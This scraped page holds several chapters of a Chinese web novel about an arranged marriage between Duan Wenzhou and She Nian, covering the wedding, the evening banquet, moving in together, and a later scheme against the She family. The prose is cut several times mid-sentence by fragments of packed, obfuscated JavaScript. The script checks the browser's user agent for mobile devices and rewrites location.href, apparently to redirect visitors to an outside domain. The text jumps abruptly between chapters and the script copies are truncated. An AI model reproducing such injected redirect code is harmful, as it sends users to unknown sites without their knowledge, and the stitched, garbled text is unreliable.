今天的他身上穿着的正是那天定做的白色西装,还被贴心地佩戴上了搭配的宝石饰品,加上被好好做过发型的头发,看上去像极了一个小王子。 而他的脸同样也被精心打扮过一番,皮肤吹弹可破,白里透红,嘴唇红润。一双圆溜溜的大眼睛眨啊眨,扑闪扑闪,睫毛又卷又翘,羽翼一样轻扇,更显灵动俏皮。 “这,这是我吗?” 抚着自己的脸颊,佘念诧异地道。 “当然是您,您本来底子就好,只是平常不太打扮,所以我只是随便给您弄了一下造型,您的颜值就完全显露出来啦。” 化这种本来就漂亮的小孩完全没有技术含量嘛,但是这种把人翻新的成就感着实很棒,化妆师眯眼笑着,越看越觉得佘念可爱,母爱泛滥。 就在两人说话间,一个脑袋从休息室外探了出来,却不是佘念猜想中的熟人。 不是段闻洲,而是祁宁。 “打扰一下,请问段闻洲不在这吗?” 祁宁礼貌地敲了敲门,扫视了一番室内却没有看到好友的身影。 “他不在这里诶,好像在前面大厅。” 自己也一直没看见他,佘念如实回答。 见疑似有熟人来了,化妆师便拿上东西先离开,给他们腾出位置来。 “是吗,找他半天了都。” 好好一个新郎怎么不老实待在休息室里呢,祁宁嘟囔着,但余光看清化妆镜前坐着的佘念时却是一愣。 他快步走了进来,围着佘念上上下下左左右右地打量一番,满脸诧异。 “请问,还有什么事吗?” 这人好奇怪哦,怎么一直盯着我看,佘念困惑极了。 “你是伴郎吗?诶不对,好像没听他说今天有安排伴郎啊。” 不是伴郎的话,怎么有一个这么可爱,跟洋娃娃似的人在休息室里,祁宁猜测了半天,却怎么也猜不到眼前人是谁了。 在婚礼当天打扮得这么好看,还能冠冕堂皇坐在休息室里。 而且还不是伴郎…… 难道,难道是段闻洲的正宫?! 正所谓联姻只是工作,万一自家好友其实在外还是有真正相好的呢,没准人家今天就专门打扮艳压群芳地来参加婚礼,展示自己的正宫地位。 反正联姻对象是个傻子,这么做也不会被他说什么。 就在祁宁的思绪越跑越偏,佘念也被他越看越发毛时,段闻洲终于出现了。 “快开始了,你准备好了吗——” 外面传来段闻洲的声音,他本人也伴随着声音踏进了休息室。 而在看清里面祁宁也在时,他有些吃惊。 “你怎么在这?” 他问道。 “我在看你的正宫娘娘。” 嘴里没个把门的祁宁心直口快。 段闻洲:? 对其习惯性的胡言乱语已经习以为常,他默默翻了个白眼后没放在心上,走到了佘念的身边。 “刚好,给你们互相介绍一下,佘念,这位是祁宁,我关系很好的朋友。” “祁宁,这个是佘念。” 等会,这人叫佘念……? 那不就是今天婚礼的另一位新郎吗? 不对,等一会,不是说那个佘念是个傻子吗,有长这么好看的傻子?? 闻言,祁宁整个人已经震惊得说不出话了,好半天才回过神来,紧接着又凑近几分,又仔细将人上上下下好好瞧了瞧。 这人到底在干嘛。 感受到身上滚烫的视线,佘念不由得缩了缩脖子,下意识往段闻洲的身后躲了起来,只露出一双无辜的眼睛。 “你把人家吓到了。” 看着好友莫名其妙的举动,段闻洲扶额,伸出手一把将人推开,保持距离。 “我才是被吓到了啊!我现在震惊得五雷轰顶啊你知道吗!原来他就是佘念??” 祁宁难以置信。 “不然呢?” 不是都介绍过了,难道刚才说的不够清楚吗,段闻洲挑眉。 祁宁猛地一把揽过自己兄弟的脖子,不由分说将人带到角落里,压低声音问: “你之前没说过你老婆长这样啊?” “那你以为他长什么样?” 都没顾得上纠正人口中“你老婆”这种称谓,段闻洲默默瞥了他一眼。 “呃,那个……反正不是长这样。” 没敢说自己想象中的傻子,是个两百斤还嘴边流口水的形象,祁宁自动闭麦。 不管长什么样,反正不能是这样。 最开始兄弟还以为你在为事业牺牲自己,可你也没告诉兄弟你其实是在享福啊? 有这么个漂亮可爱的老婆,你小子真是没亏待自己啊,连吃带拿的。 “我不是跟你说过吗,等你见到他之后就会改变看法了。” 见状,段闻洲抿唇一笑。 “而且他看上去也能正常交流,真的是个傻子吗?” “其实他不傻,就是很单纯很天真,像个小孩子一样。” 看着背对自己窃窃私 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15707047|173580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 语的两人,佘念歪了歪头,听不清他们在说些什么。 终于,他俩聊完了,而掉头回来时,祁宁已经一改方才的震惊,脸上换上了一副谄媚的笑。 “你好嫂子,刚刚多有得罪,不好意思你别在意。” 祁宁嘿嘿笑着,伸出手来。 “你好。” 他终于正常下来了诶,于是佘念也伸出手同他握了握。 不过他叫我嫂子,什么意思? “别怕,他不是什么坏人,就是嘴巴上没个把门的,有时候脑子比嘴快。” 段闻洲微微弯下身,在人耳边解释。 “别以为我没听见嗷。” 一旁的祁宁哼了一声。 “对了,话说你们婚礼缺伴郎不,能让我临时加入一下不?” 他除了嘴上想到什么说什么外,还有一个最大的特点,那就是颜控,对长得好看的人天生就有好感,想要与其结交。 所以他一时兴起想要当伴郎,就是想跟佘念搞好关系熟悉熟悉。 “没有新郎,但是你可以来当花童。” “花童不是要童男童女吗,你见过三十岁还是处……不对你好像自己就是?” “滚。” “话说嫂子要不要来给我的品牌当模特?这清纯的长相太合适了。” “你想得美。” 好不容易把某个嘴贫的人赶出休息室,整个屋子里才安静下来。 “有没有不习惯?” 毕竟祁宁的嘴巴太能说了,有时候大嘴巴漏勺一样就会不留神得罪人,担心佘念会不适应跟他这种人相处,段闻洲问道。 “没有,就是他好能说哦。” 就像是林子里总叽叽喳喳的鸟儿一样,一开嗓就半晌才会停,佘念摇了摇头。 “其实他人挺好的,没有什么坏心思。” “嗯,能看出来。” 毕竟能和段闻洲这样的好人做朋友,那肯定也坏不到哪去。 由于婚礼还没到开场的时候,两人一块在休息室坐着,段闻洲直到这时才有机会仔细打量佘念今日的模样。 果然,和自己想象中的一样好看。 专门定做的贴身制服,加上精心打理过的妆容,令他的气质焕然一新。 软软糯糯的,又白乎乎,更像一个棉花团子了,谁看了都要夸一句可爱,忍不住想上来揉搓一把。 花苞褪去了曾经灰扑扑的模样,内里艳丽的花瓣显露,焕发着不同以往的光彩。 “你今天很好看。” 嘴角向上扬起,段闻洲眼底噙着笑意,抬手摸了摸人的脸颊。 “是、是吗?” 听见他的夸奖,不知怎的,佘念忽然觉得不好意思了起来,手掌捏住衣角悄悄搓着,害羞地低下头,脸颊泛起一层浅浅的红色。 明明刚刚也被化妆师和祁宁夸过好看,当时自己还觉得没什么,但偏偏段闻洲的夸奖就是不一样,仿佛有着什么魔力,入耳就止不住变得羞涩。 明明只是一句很简单的话,但就是那短短的几个字,偏偏有直击心脏的力量。 “是的,很好看。” 注意到他脸红害羞了起来,段闻洲眼底的笑意更甚,收回的手又再次伸出,转而用手背去蹭了蹭他的脸颊。 “没有骗你,小朋友,我说的都是真话。” 22. 第 22 章 “你、你也很好看呀。” 越说越觉得害羞,被夸得不好意思,佘念觉得自己脸部的温度在极速上升,最终像个逃避的鸵鸟一样选择将头埋起来,以掩耳盗铃。 见他捂脸往前扑来,段闻洲连忙接住人。 只见那小孩直接将脑袋缩进了自己的胸前,埋进去死死贴在怀里不肯抬头,不管怎么轻拍后背都不起来,牛皮糖一样黏在身上。 不知是为了降温,还是表示自己不起来,那颗脑袋还快速蹭了蹭,像在摇头。 “哈哈,好了,不逗你了。” 看出来他是害羞了,段闻洲忍俊不禁,上下顺着人的后背安抚道。 等到脸上的温度终于散下来后,佘念才小心翼翼地冒头,撅着嘴起身。 “你看,头发都乱了。” 瞧见他有几缕头发被蹭乱,段闻洲主动抬手替人撩到耳后。 “衣领也蹭皱了。” 闻言,佘念扭头去看一旁的镜子,只见镜面里完整映着两人的身形。 自己仿佛树袋熊一样双手挂在段闻洲的脖子上,紧紧贴在一起,上衣稍显凌乱,脸蛋上的羞涩红晕也还有些许余韵未完全退散。 而段闻洲则是伸手绅士地揽着自己的肩膀和腰部,防止自己滑下去。 将人稳住后,他还不忘腾出一只手给自己扯了扯衣服下摆。 就在佘念对着镜子里的自己大眼瞪小眼时,休息室的门再次被从外推开。 “你们准备好了没有?司仪让我来通知你们提前做好准备,婚礼快开始了。” 只听祁宁嚷嚷的声音传来,话音落下时,他也抬头看了进来。 正好撞见屋内两人抱在一起的画面,偏偏佘念还是面带红潮的表情,而自己的好友还把手伸向了人的衣摆下方。 不知道的,还以为他等会就要把手伸进去为所欲为了。 噫,好变态噢。 知人知面不知心,没想到段闻洲你是个这么花的人,还玩这么野。 休息室play什么的…… 这就是老房子着火的威力吗? “……把你的眼神给我收回去,思想都歪到对面太平洋了。” 看着祁宁的脸色,段闻洲就知道这个不正经的人肯定误会了什么不正经的事,默默瞥人一眼,出声提醒道。 “我懂的我懂的。” 祁宁掩嘴低笑,“善解人意”地摆了摆手。 “你俩动作快点哈,马上婚礼就开始了。” 说完这句话,他就立马脚底抹油溜走了,生怕自己当电灯泡一样。 这家伙,想法绝对还是歪的。 望着人跑掉的背影,段闻洲无奈又好笑地叹了口气,对人的德行了如指掌。 他扶着佘念站直身体,重新给人将身上的衣服整理了一下: “准备好了吗?我们等会就要出去了。” “嗯。” 闻言,佘念用力点了点头,完全不怯场。 看着他这幅乖乖的样子,段闻洲情不自禁地勾起了嘴角,然后转身拿过化妆桌上的头纱为人戴上。 洁白的蕾丝头纱层层叠叠,但并不影响视线,从头顶垂下遮住了整张脸,为人笼罩上了一层圣洁与神秘。 面容隐藏其下,待到礼成之后才会被专属的那人揭开。 “能看清脚下的路吗?” 替人仔细拨弄整理好头纱后,段闻洲贴心地询问。 “能的。” 佘念低头小声应道,雪白的头纱仿佛海水激起的白色浪花一样上下起伏。 两人并肩,向着婚礼现场出发。 ———— 今天的天气万里无云,晴朗灿烂,所以安排的是户外草坪婚礼。 绿草如茵,阳光灿烂,微风阵阵,是一个极好的天气。 所有参加婚礼的嘉宾均已入场,除了被邀请来的亲朋好友外,还有部分媒体记者到场,准备对外播报这场重要的婚礼。 其实重要的,并不在于见证婚礼主角间的爱情,而是在于这场婚礼的意义。 ——段家和佘家两家的商业联姻,特别是前者还是近期金融头条头版的常客,集团面临重大危机。 “嘿,佘家是不是让佘群逸佘小少爷出来联姻的?” “你消息也太滞后了吧,没看见人家小少爷就坐在嘉宾区吗?” “我可听说今天的主角是佘念那位少爷。” “啊,那家伙不是个傻子吗?” 已经就坐的人们议论纷纷,讨论着今天的婚礼主角。 而佘家的几人,正坐在最靠近舞台的第一排位置,假装没听见其他人的风言风语。佘群逸也忙着同身旁的赵小姐搭话。 明明是亲属,却没一个人有去关心新郎的动作,仿佛这场婚礼他们只是普通嘉宾。 因为之前被佘家故意坑了一把,所以今天段父段母只忙着接待自己这边的朋友,都懒得上前和所谓的亲家说话,连表面功夫都不愿意做了。 随着吉时已到,悠扬的音乐在草地上方响起,踏着婚礼进行曲的调子,今日婚礼的主角终于出现在了众人的视线范围内。 红毯的尽头,两位新人站定。 婚礼现场的布景以绿和白为主色调,间以地上金红的红毯,白色的玫瑰与各种白色蝴蝶结等装点了舞台,搭配上罗马柱和镂空雕琢的拱门,打造成欧式花园的风格,在阳光的照耀下宛如森林童话中的场景。 “好漂亮呀。” 看着眼前的场景,佘念情不自禁地小声感慨道。 “你喜欢就好。” 专门让婚庆公司策划的布景,见他喜欢,段闻洲勾了勾唇。 随着他们的登场,在场所有人的目光都齐刷刷地落在两人的身上,但段闻洲习以为常,而佘念则忙着打量周围的布景没空在意。 “旁边白色衣服的就是那个傻子?” “没想到小段总真要和他结婚,这不是平白无故遭罪吗。” 婚礼的主角终于上台,看乐子的人们又开始八卦起来。 “现在我们要走红毯入场了,乖,不要听旁边人说的话,专心跟着我的脚步。” 对于那些嚼舌根的话不屑一顾,段闻洲细心地叮嘱身边的小孩不要在意闲言碎语,以防影响心情。 “好。” 闻言佘念点点头,目光只在前方和人身上打转,不再看其他的地方,自动屏蔽了耳边无关紧要人的话。 于是段闻洲绅士地抬起了胳膊,示意人挽住自己,而佘念也十分听话地将手穿过其的臂弯,紧紧抱住了他的手臂。 甚至还专门往他的方向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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随着司仪的宣布,戒指被送上台来。 段闻洲先一步拿起戒指,珍重地捧起佘念的手。 在阳光的映照下,佘念皮肤白皙的手背仿佛变得透明了一样,葱白细长的手指被缓缓套入戒指,最终留在了无名指末端的位置。 接下来轮到佘念了。 他学着刚才段闻洲的样子,取过戒指,小心地抬起人的手。 段闻洲的手青筋明显,掌背很大,骨节分明又修长,看上去就很适合握住某些东西。 戒指穿过无名指,同样待在了它该待的位置,用以证明主人已婚的身份。 两枚戒指分别戴在了两位新郎的手上,他们手掌相握在一起,稍小一截的手掌被大几分的手掌握住,对比之下也能看出他们之间原有的肤色差。 健康的小麦色和近乎不真实的白皙,指根戒指的宝石在金色的阳光下反射出光芒,交相辉映,彼此映照,一如两人握在一起的手。 “那么现在,你们可以亲吻彼此了。” 交换戒指的环节结束后,司仪适时宣布道。 23. 第 23 章 宣布完亲吻环节开始后,司仪就十分自觉地退了下去,把舞台留给两人。 亲吻……吗? 似懂非懂的佘念眨了眨湿润的大眼睛,盯着对面的人,等待他的下一步举动。 而段闻洲的眸子被眼睫垂下的阴影遮住,其间神色晦暗不明,让人辨不清他现在心底的思绪。 下一秒,他忽然伸出了手,慢慢地掀开了佘念的头纱。 挡在眼前的白色纱布被揭开,视线重新恢复了无遮挡的清晰,佘念微微眯了一下眼,适应了光线后才完全睁开,眼睛又恢复成了圆溜溜的样子。 或许是刚刚被光线刺激了一下的缘故,他本就湿润的眼眸此时更加显得水汪汪,被水雾覆盖。 随着缓缓眨眼的动作,他卷翘的睫毛扇啊扇,流露出一种天然萌,叫每一个瞧见的人心都要化了,都忍不住想揉一揉他。 他看向段闻洲,脸上仿佛盛开的鲜花一样,嘴角缓缓翘起,绽放出一个浅笑。 一双眼睛弯成月牙的形状,温柔又略带羞涩,和嘴角的酒窝一样,让人只一眼就能全部陷进去。 这个笑容只面向段闻洲,而这双紧紧注视着的眼眸同样的,也只印照着人的身影,再无其他。 阳光从佘念的后方照来,发丝的末端晕染上温暖的金黄,轮廓柔和,明暗界限清晰。 大抵这就是所谓的惊鸿一瞥。 就是这样一个纯正不含杂念的笑容,好像有股魔力一样,整个婚礼现场似乎都被覆盖上了这种魔法。 像是有充满生机的春风抚过现场,万顷天光乍泄,瞬间驱散了上方凝结的所有猜疑与算计。 明明是为了利益而结合的商业联姻,如此不堪又沾染阴谋,可目光撞进这小孩的眼底,被他不含杂质的眼神全神贯注地注视着,却只觉有清泉淌过身体,洗去名利场浸染的铅华。 被他感染,段闻洲的嘴角不自觉也翘起一个弧度,周围不管是看热闹还是八卦的人仿佛都在逐渐退远,只剩下两人立于此地。 宽大的手掌抚上柔软的脸颊,大抵是手感太好,手指没忍住悄悄戳了戳。 触感又软又弹。 “唔。” 即使被指尖开玩笑似的戳了一下,佘念也只是唔了一声,微眯了几分眼,但完全没有制止的意思,而是十分乖巧地任人动作。 如此乖,又如此听话,好像对他做什么都会温顺地接受,做什么都会乖乖予取予求。 指尖停下,转而用略显糙砺的指腹轻轻蹭了蹭人的脸蛋,段闻洲注视着眼前的人,随即附身凑近。 看着他的身影在眼底不断放大,最终变得近在咫尺,佘念没有闪躲,而是静待在原地,等候着下一步动作。 ——他在电视上看见过的,婚礼上需要亲吻这一流程,没有新郎新娘会不亲吻对方的。 为了方便段闻洲的动作,他甚至还配合地略微抬起了下巴。 不过让他疑惑的是,意想中的吻并没有落下,段闻洲捧着他的脸,却只是向背着众人的内侧偏了偏,以一个错位的姿势假意亲下。 即使距离近得已经能完全感受到彼此的呼吸,即使鼻尖都快碰上,可嘴唇就是停在了不足一厘米的位置外。 虽然在外人看来,他们好似在接吻,但只有双方当事人才知道,他们没有。 佘念困惑地缓慢眨了眨眼,似乎在思考为什么段闻洲不肯亲下来。 啊,难道是在等自己的动作吗? 毕竟他已经凑得够近了,可是自己还在原地没有反应。 想到这,佘念恍然大悟,眸光亮了亮,就像是寻到了方向的迷途小鹿。 于是紧接着,他抬手抓住了段闻洲的衣领,踮起来脚尖。 实际上,段闻洲就是故意采用错位的方式的,算是给这必要的流程一个交代。 毕竟他知道这小孩本性善良单纯,不谙世事,自己可不想贸然又失礼地夺走其珍贵的初吻。 可没想到,他却反而被小孩夺走了初吻。 就在段闻洲思索似乎到了可以起身分开了的时候,衣领忽然被人拉住,唇瓣上传来了异样的触感。 凉凉的,软软的,又是湿润的。 看着对面人陡然放大的身影,呼吸交错,他一时间怔在了原地,不知该如何应对,就这么一动不动地呆住,浑身僵硬,连接下来该做什么都想不起来了。 一触即分的吻很快结束,随着佘念主动后退拉开两人之间的距离,贴在一起的唇瓣也分开了。 “你……” 段闻洲的脸上浮现出难以置信,眼底溢出诧异。 为什么会亲上来?他知道这个举动是什么含义吗?他明白这是一个极度有暗示的行为吗? 大概是不知道的,但是这不妨碍坠入水中的石子在湖面激起阵阵涟漪。 “嗯?怎么啦?” 并不觉得自己做了多么惊为天人的事,佘念歪了歪头,天真地发出询问。 “不,没什么……” 在这样的场合下不适合说太多,段闻洲沉默了片刻,还是选择摇了摇头,没有多言。 看来以后得找个机会,教育一下小朋友,告诉他不要随便对其他人做这种亲密动作。 更不许随便亲其他的人。 ———— 台上的仪式结束后,接下来是类似于宴会一样的自由活动时间。 到场的人们觥筹交错,谈笑风生,不少人围在段闻洲与佘念的身边,既有表达祝贺的,也有虚情假意来攀谈的。 大部分都是生意场上的人,段闻洲怕佘念应对得累,便找了借口先让他独自去一旁阴凉地休息,自己和父母应对完这群人后再回来找他。 对此佘念乖乖点头,因为一直站着听那群人不停说话,他也有些累了。 前方有咔嚓一声拍照的声音响起,两人齐齐向着声音来源看去,发现是一位记者正对着他们抓拍。 见被发现,记者歉意地冲两人笑了笑。 拍到的并不是什么隐私画面,于是段闻洲也没有在意,对记者回以一个礼貌的笑后,又继续弯下腰来对着佘念叮嘱了几句,然后才离开向段父段母所在的方向走去。 坐在椅子上休息的佘念目光一直注视着他离开的背影,直到被其他人围住看不见了后,才收回视线。 还十分乖巧地对着那名记者也笑了一下。 而拍到了需要的画面,完成了自己的工作以后,记者一边看着相机里的画面走远,一边自言自语嘟囔着: “奇怪,这个佘少爷看上去不像外界传言的那么傻啊,长得也很好看,站在小段总身边两人也挺般配的……” 一个没看路,他不小心撞上了一个人,连忙弯腰道歉。 “哼,没长眼睛吗?走路不看路?撞伤了你赔得起吗?” 被撞到的佘群逸一脸不悦,脸色阴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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由于段闻洲上任时取得的成绩太过耀眼,因此外界一直有故意抹黑他的传言,说他利益至上,说他铁石心肠,说他不择手段。 而佘群逸之所以故意说这些,就是想挑拨离间佘念和段闻洲之间的关系,让他不要高兴得太早,别以为被段闻洲好好照顾就是要飞黄腾达了。 说到底,就是嫉妒作祟。 可这些话落在佘念的耳中,却成了另外一层意思。 为人心狠手辣?就是说他做事很雷厉风行,不拖泥带水吗? 只追求利益,不会手下留情?就是说他对付其他人从不会心软吗? 既然如此,那是不是能让他来帮自己对付佘家啊? 反正这是一笔傻子都能看出来划算的交易,段闻洲肯定不会排斥的。 如果要他帮忙的话,那自己必须好好抱紧段闻洲的大腿,跟他打好关系才行,毕竟凭自己现在的力量不太能与佘家对抗,而如果让他出手的话,肯定能很有效果吧? 就在佘念低头沉思时,佘群逸见他没有出声,还以为他被自己挑拨成功了,不由得翘起嘴角高傲地哼了一声,满意地掉头走了。 沉浸在自己思绪中的佘念完全没有在意他,而是在迅速用小脑袋瓜思考,该如何搞好与段闻洲的关系。 该怎么做呢…… 欸,电视里好像有说过,婚后两人一定要多培养感情,结婚后一定不能分房睡,必须睡在一起,不然的话感情迟早会被冲淡,最终走到离婚的地步。 不行,一定不能离婚。 离了婚自己就没大腿抱了。 佘念猛地甩了甩脑袋,在心底拿定了主意。 ——自己今晚,必须和段闻洲睡才行。 24. 第 24 章 白日的婚礼仪式结束后,晚上还有一场专门接待来宾的晚宴。 金碧辉煌的宴会厅里,觥筹交错间,人们或交流沟通,或互相引荐,整个大厅是一座巨大的名利场。 对于这样社交的好机会,佘毅峰自然也没有落下,一直在借机与各方家族攀谈。 从婚礼至今他一句也没有来关心过佘念,只意思意思做了一点表面功夫,以免得落人口舌。 而段闻洲倒是一直随身带着佘念,怕他这只懵懂的小绵羊一旦落单,就会被其他窥视已久的狼匹给吃掉。 毕竟在场的好多人都对小朋友感兴趣,想上前与其交谈。 应酬终于结束,佘念觉得自己脸都笑得有些僵了,站久了腿也快受不住,委屈地拉了拉段闻洲的衣角,扁了扁嘴。 怎么比今天白天还累啊。 他眨了眨眼,无声用目光向人发来询问:还没结束吗? 见状,段闻洲将接下来的应付工作交给了父母,带着人来到了一个僻静的角落。 “好累。” 终于离开了围得水泄不通的人群,佘念如释重负地靠在了人身上,长出一口气。 虽然面对那些人不用自己说话,只要陪在旁边笑一笑就好,可是一直笑着一直站着也很累的嘛。 不仅累,还有点饿,摸了摸瘪下去几分的小腹,他郁闷地心想。 今晚上一直被带着应酬,他都还没来得及吃东西。 “等我一会。” 瞧见人的动作后段闻洲让人在旁边的椅子上坐下,离开片刻,回来时手里则多了一盘吃的。 ——其实他本来想带着佘念去取餐的,但怕两人一起过去又会引得其他的人来攀谈,反而惹得小朋友继续挨饿。 看着放在自己面前的白色餐盘,佘念肉眼可见地开心起来,脸上浮现笑容,像是一朵刚才还蔫巴的花,闻到了食物香气后,瞬间挺直了腰肢向阳绽放。 由于刚刚喝了点酒,所以段闻洲现在还不是很饿,便单手撑着头,坐在对面饶有兴趣地盯着人看。 ——佘念还是一如既往的斯文又有食欲的吃相,仓鼠一样小口又快速地吃着。 那颗低下吃东西的脑袋正吃着吃着,却忽然一顿,停下进食的动作,紧接着抬头向对面的人看来。 段闻洲正想问他还有什么事时,却只见叉着肉的叉子突然伸到了自己面前。 “你也吃。” 他软声说道。 见状,段闻洲微微讶异。 还记得上次在外面吃饭时,小朋友可是有点护食,连分自己一个泡芙都要犹豫的。 而这次分给自己的,居然还是盘子里最大的一块肉。 ——其实佘念分吃的给人,理由很简单。 一是觉得自己饿了,那段闻洲可能也饿了,何况本来就是他替自己取来吃的,分他一点是应该的, 二来自己要和人搞好关系,好朋友之间分享是正常的,能拉近关系的。 抱大腿第一步,从讨好人开始,从分享心爱的食物开始。 小蛇舌草的观念就是如此朴素。 见人半天不接,佘念还特意往前递了递叉子,催促着。 这样的好意,再拒绝可就是不给面子了,于是段闻洲眼底噙着笑意,张嘴接过。 难得地得到这小孩的关心,得到了护食小朋友的投喂,他自然不能辜负心意。 太好了,他接啦! 见状,佘念更开心了几分,垂在椅子边的脚也不自觉轻晃了晃。 迈出的抱大腿第一步成功,我们的关系肯定能慢慢拉近的。 今天成功一小步,明天就能一大步! ———— 晚宴结束后,佘念和段闻洲被司机送回家。 坐在车子的后座,累坏了的佘念伸了个大懒腰,然后就直挺挺地向身旁一歪,靠倒在段闻洲身上时,又变得和融化的奶油一样,软趴趴地靠在人的肩膀上。 “今天辛苦了,回去后好好休息。” 眼底流露出笑意,段闻洲抬手揉了一把他的头。 “回去?那我们今晚是回你那里吗?” 忽然想起这茬,刚才还软着腰肢的佘念一个鲤鱼打挺坐起身来。 “不想回佘家吗?” “不想。” 佘念的脑袋摇得跟个拨浪鼓似的,令段闻洲故没忍住想故意逗他: “那也想回我那吗?” 只见佘念本来还想继续左右猛甩脑袋,但在理解了他话里的意思后,忽然停了一下,然后改为用力地上下点头: “想去的,特别想去。” “那从今天开始,我们就要一起生活了。” 段闻洲弯了弯眼睛,又揉了一把他的头。 “多多指教,小朋友。” 汽车在市中心那处大平层小区的地下停车场驶停,两人乘坐电梯上了楼。 越是接近家门口,佘念脸上的兴奋与期待就越明显。 “欢迎回家。” 将他的表情尽数收于眼底,段闻洲勾了勾嘴角,打开了大门。 如同一直扑腾着翅膀的小鸟,佘念立刻高兴地小跑进了屋内。 明明房子里的装饰和上一次来时相比,完全没有变化,但总是觉得有哪里不同。 不同于上次的暂时停留,这一次踏入屋内的佘念,是从此刻开始真正摆脱佘家,将要在这里度过未来的时光了。 也就是说,现在,他也是这里的男主人了。 看着他兴高采烈地左瞧瞧右看看,仿佛参观展览般打量每一处的样子,段闻洲哑然失笑,没有打扰他,直到他把每一个角落都看了一遍后,才出声提醒: “时候不早了,该洗澡睡觉了。” 洗澡?就是说又能泡澡了吗! 得到肯定的答复后,佘念不由得振臂一呼,嘿嘿笑着跳起来用力熊抱了人一下,然后才乐颠颠地跑去浴室。 就这么喜欢泡澡吗,段闻洲哭笑不得,不忘在人后面追着补充提醒: “别忘了拿睡衣——” 佘念所有的衣服已经在前一天被送了过来,并且之前买的很多衣服早就在家里的衣柜挂着了,所以今天他可以说是拎包即住。 温暖的水盛在浴缸中,在浴室里泡得昏昏欲睡,舒服得飘飘欲仙的佘念感觉整个人都升华了,大脑放空,美滋滋得都已经忘了自己今晚的重大计划。 ——那就是,要和段闻洲一起睡。 大概白天所有的盘算都和着被排走的水一起,被冲进了下水道,此时的他什么都抛之脑后,换上睡衣后便心满意足地伴着氤氲水汽出了浴室。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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分房睡是不行的呀,分开睡觉会导致感情变淡最终破裂,很快就会走向离婚的。 要是离婚了,到时候自己还怎么抱大腿去报复佘家! 想到这,意识到严重性的佘念一把掀开了被子,从床上坐起身来,严肃地思索片刻后,连拖鞋都没来得及穿,就抱着枕头向卧室外走去。 那架势,风风火火的,不知道的还以为要去砸场子。 他来到主卧门外,抬手用力地敲了敲门。 ———— 另一边,段闻洲回到房间后,打开了笔记本电脑,准备处理一下公司里的事务。 虽然是今天是婚礼,他请假不用去公司,但是最近公司里需要操心的事太多,拖不得,暂时也不敢随意放手,就连婚假他都只休了明天一天。 就在他处理工作时,卧室门外忽然传来了敲门声。 这个点会敲自己门的,也就只有佘念了,他不是睡下了吗?难道还有什么其他的事。 于是段闻洲起身打开房门,映入眼帘的,是门外的佘念。 只见佘念双手抱着枕头,身上的睡衣松松垮垮,半边肩膀露了出来,连拖鞋都没穿,一看就是匆匆忙忙地跑来的。 而他睁着一双无辜又水润的眸子,明明是一句认真又简短的询问,可却让人无端从其中品出几分卖萌撒娇的意味。 只听他乖乖软软地问道: “老公,今晚我们不一起睡嘛?” 50-60 第51章 “佘念, 如果我说想对佘家出手,你会反对吗?” 在去的路上,段闻洲忽然问道。 对佘家出手?是自己理解的那个意思吗? 听见这话, 佘念缓慢地眨了眨眼, 思索起来。 “可能会让佘家市值暴跌, 亏损额巨大,也可能会让他们直接破产。” 如果小朋友不愿意的话, 段闻洲也会放弃有关动作。 因为他要一并对付佘家,不光是要回报佘家之前的落井下石, 更是想要替小朋友出一口气。 佘家的所作所为越来越过分,倘若不给他们点教训, 恐怕早晚还会在背后捅刀子, 反正生意场就是这样一个弱肉强食的地方, 他们永远随波逐流, 不会知足。 但是段闻洲摸不太清佘念的想法,虽然说佘家待他并不好,但毕竟他身上也留着佘家的血, 万一看在血缘上, 他又选择原谅了呢? 不过事实证明,他多虑了。 因为一听见会让佘家破产, 佘念眼睛就倏地睁大。 佘家破产, 还有这种好事? 老公你终于要对佘家下手了?不枉我抱你大腿这么久! 只见他忽然捧起段闻洲的手,举起至半空中,一脸郑重地拜托道: “谢谢老公, 请务必下手狠一点。” 越狠越好的那种。 没想到他会这么说,段闻洲先是一愣,随即噗嗤一声笑了出来。 “好, 我答应你。” 止住笑后,他也抬手覆上了比自己小几分的手背,认真地回应道。 ———— 三人约在了一处私人会所见面。 这里隐私性极强,很适合聊一些不能对外透露的话题。 去的路上佘念其实还不清楚具体要去干什么,不过当他看见赵蕊时,便隐约意识到了今天来的目的。 “果然和我想的一样,两位一起来了。” 提早在包间内等候的赵蕊见两人一块推门进来,脸上露出一个了然的笑,主动上前与他们握手问好。 “你好,上次在宴会上没来得及仔细介绍,我是赵蕊。” 她又重新自我介绍了一遍,在看向佘念时嘴角的笑意更甚,忍不住逗一逗人。 “凑近看才发现,小佘念你真的很可爱呢,难怪段总拿你当宝贝似的。” 赵蕊是很典型的御姐长相,肤白貌美,烈焰红唇加大波浪,说话也很干脆利落,是直爽大方的性格。 头一次接触这样的女性,又被人面对面地近距离注视着,佘念反而有些不知所措了,浑身绷得笔直地立在那,磕磕巴巴地道谢: “谢、谢谢。” 而这样的一动不动,落在段闻洲眼里,还以为佘念是看呆了,眼睛直勾勾地盯着人家。 不知为何,他心底隐隐涌现出一抹不爽。 于是他大手一挥,径直将人搂进怀里,打断了两人的对视,揽住人入座: “先坐吧,别在门口站着。” “哦?段总吃醋了?” 见状,赵蕊轻笑一声,开了个小玩笑。 对此段闻洲挑眉,佯装没有听见,也没有正面回答,而是把菜单递到了佘念跟前。 